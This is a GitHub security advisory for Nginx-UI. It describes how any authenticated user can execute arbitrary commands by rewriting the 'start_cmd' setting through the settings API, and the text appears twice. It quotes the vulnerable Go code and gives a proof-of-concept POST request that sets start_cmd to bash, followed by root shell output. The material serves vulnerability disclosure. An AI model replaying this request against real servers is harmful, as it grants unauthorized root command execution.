Headline
GHSA-8r25-68wm-jw35: Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)
Summary
Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.
Details
The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn’t allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) {
r.GET("settings", GetSettings)
r.POST("settings", SaveSettings)
...
}
The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
func SaveSettings(c *gin.Context) {
var json struct {
Server settings.Server `json:"server"`
...
}
...
settings.ServerSettings = json.Server
...
err := settings.Save()
...
}
The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:
func Pty(c *gin.Context) {
...
p, err := pty.NewPipeLine(ws)
...
}
The NewPipeLine function is defined as follows:
func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {
c := exec.Command(settings.ServerSettings.StartCmd)
...
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept
Based on this setup using
uozi/nginx-ui:v2.0.0-beta.7.
- Login as a newly created user.
- Send the following request to modify the settings with
"start_cmd":"bash":
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 512
Authorization: <<JWT TOKEN>>
Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
- Open a terminal from the web interface and execute arbitrary commands as
root:
root@1de46642d108:/app# id
uid=0(root) gid=0(root) groups=0(root)
Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
Summary
Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.
Details
The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn’t allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) … }
The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
func SaveSettings(c *gin.Context) { var json struct { Server settings.Server `json:"server"` … }
...
settings.ServerSettings \= json.Server
...
err := settings.Save()
...
}
The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:
func Pty(c *gin.Context) { …
p, err := pty.NewPipeLine(ws)
...
}
The NewPipeLine function is defined as follows:
func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd)
...
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept
Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.
- Login as a newly created user.
- Send the following request to modify the settings with “start_cmd":"bash” :
POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"…","node_secret":"…","http_challenge_port":"9180","email":"…","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
Open a terminal from the web interface and execute arbitrary commands as root:
root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root)
Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
References
- GHSA-8r25-68wm-jw35
- 0xJacky/nginx-ui@827e76c
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45
- https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12